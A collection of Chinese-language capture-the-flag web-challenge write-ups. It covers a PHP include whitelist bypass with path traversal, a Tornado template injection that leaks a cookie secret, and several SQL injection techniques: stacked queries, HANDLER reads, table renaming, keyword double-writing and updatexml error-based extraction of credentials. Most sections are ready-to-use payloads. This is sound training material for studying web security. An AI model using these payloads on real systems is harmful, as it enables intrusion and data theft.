查看网页源代码发现一个source.php,打开发现源代码:
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}w
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
先看一下最后的if判断:
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "
";
}
逻辑很清楚:$file变量不为空,$file变量的的值字符串,类中的checkFile()函数返回true。
所以关键在于checkfile函数怎么绕过,审一下checkfile函数:
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
发现这个作了三次的if判断:
第一次$page变量的值在白名单里。
第二次通过mb_strpos()函数截取了$page变量问号前面的值,判断这个值是不是在白名单里。
第三次将$page变量url解码一下再次判断$page变量问号前面的值是不是在白名单里。
看到这逻辑就很清楚了,我们可以直接构造payload让$page变量的值问号前面的属于白名单。
回到题目在源码中发现还有个hint.php,打开发现flag处于的文件位置:
payload如下:
file=source.php%253F/../../../../../../../../../../../ffffllllaaaagggg
file=hint.php%253F/../../../../../../../../../../../ffffllllaaaagggg
file=hint.php?/../../../../../../../../../../../ffffllllaaaagggg
上面的payload的都可以得到最后的flag。
拿到题目随便测试一下,是单引号闭合并且#号没有被过滤。
接着使用union联合查询试试,发现过滤代码段:
在测试一下发现是可以时间盲注的:
但是这个题正确的解法是通过堆叠注入获取flag。
show tables获取到当前数据库的表名
看见一个数字为名的字段,但是select被过滤了,我们可以使用show来查看,但是show是不能查看字段里的内容的。
show columns from`1919810931114514`;
可以看到里面有个flag列名,这里面应该存有flag,现在的关键在于怎么把flag列的内容查看出来。
我们有三种思路:
第一种:使用set…prepare…execute…语句。
payload:
sEt+@a=concat("sel","ect+flag+from+`1919810931114514`");
PRepare+hello+from+@a;
execute+hello;
三条语句结合在一块就可以得到flag。
第二种:使用handler代替select查询
payload:
handler`1919810931114514`open+as+da4er;handler+da4er+read+first;Handler+da4er+close;
第三种:就是通过rename,alter语句改表和列的名:
这里先看一下words里面有什么可显字段
发现id和data是可显的列名,那么我们思路就用了让words改成别的名,再让含有flag字段的列改成words,在把flag字段内容和id或者data列名互换即可。
payload:
0';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
上面三种都可以得到最后的flag。
看一个和上面相似的题,通过测试发现过滤如下图的关键字:
发现alter,rename,set被过滤了,但是我们还是可以使用handler来替换select。
payload如下:
1';handler FlagHere open as da4er; handler da4er read first; handle da4er close; --+
把每个文件打开得到一些hint:
/fllllllllllllag
render
md5(cookie_secret+md5(filename))
在观察一些url,思路很明确了,需要构造如下payload:
filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filname))
所以解本题的关键在于如何找到cookie_secret。
测试发现一个error页面,存在ssti漏洞,加上render想到了python中的模板注入,
通过handler.settings
也获取RequestHandler.application.settings对象。
所以直接在error页面构造payload:
msg={{handler.settings}}
filename=/fllllllllllllag&filehash=dbba1ea3d23c0e15ba89dd8281b4ebe3
拿到题目fuzz了一波发现过滤很多关键字。
然后测试了发现有三种回显:空,nonono,array。
到这就没思路了,233333… 看wp~
发现有预期解和预期解,百度到题目源码:
session_start();
include_once "config.php";
$post = array();
$get = array();
global $MysqlLink;
//GetPara();
$MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
if(!$MysqlLink){
die("Mysql Connect Error!");
}
$selectDB = mysqli_select_db($MysqlLink,$dataName);
if(!$selectDB){
die("Choose Database Error!");
}
foreach ($_POST as $k=>$v){
if(!empty($v)&&is_string($v)){
$post[$k] = trim(addslashes($v));
}
}
foreach ($_GET as $k=>$v){
}
}
//die();
?>
<html>
<head>
</head>
<body>
<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>
if(isset($post['query'])){
$BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
//var_dump(preg_match("/{$BlackList}/is",$post['query']));
if(preg_match("/{$BlackList}/is",$post['query'])){
//echo $post['query'];
die("Nonono.");
}
if(strlen($post['query'])>40){
die("Too long.");
}
$sql = "select ".$post['query']."||flag from Flag";
mysqli_multi_query($MysqlLink,$sql);
do{
if($res = mysqli_store_result($MysqlLink)){
while($row = mysqli_fetch_row($res)){
print_r($row);
}
}
}while(@mysqli_next_result($MysqlLink));
}
?>
发现可以堆叠注入,sql语句的代码为:
$sql = "select ".$post['query']."||flag from Flag";
将post传入的值和flag from Flag的值作或运算。这里的预期解是将||设置成连接符而不是或运算,payload:
1;set sql_mode=PIPES_AS_CONCAT;select 1
ql_mode为PIPES_AS_CONCAT后可改变’||'的含义为连接字符串
经过本地测试发现还真的是这样,涨姿势了23333…
非预期解是使用*
,*号表示将表中的内容全部查询,payload:
*,1
非常简单sql注入,没有任何过滤,直接使用union查询语句即可。只判断列有多少就可以出flag,23333…
发现过滤一些sql关键字,但是可以双写绕过23333…
payload:
username=1' oorrder bbyy 3 -- -
username=1' ununionion seselectlect 1,2,3 -- -
username=1' ununionion seselectlect 1,2,group_concat(table_name) frfromom infoOrrmation_schema.tables whwhereere table_schema=database() -- -
ununionion seselectlect 1,2,group_concat(column_name) frfromom infoOrrmation_schema.columns whwhereere table_name='b4bsql' -- -
ununionion seselectlect 1,2,group_concat(concat_ws(':',username,password)) frfromom b4bsql -- -
这个sql注入还是有点难的,fuzz一下发现过滤很多关键字,而且过滤空格。
发现有错误提示,想到用报错注入试试,结果是可以的,用括号替换空格即可。
admin'^updatexml(1,concat(0x7e,(select(database())),0x7e),1)#
admin'^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek'))),0x7e),1)#
admin'^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1'))),0x7e),1)#
上面的语句可以找到flag,但是uodatexml只能显示32的长度,看了网上的wp,我们可以使用left和right截断,分别从字段的左边和右边查看,最后在拼接起来。
'^updatexml(1,concat(0x7e,(select(right(password,31))from(H4rDsq1)),0x7e),1)%23
'^updatexml(1,concat(0x7e,(select(left(password,31))from(H4rDsq1)),0x7e),1)%23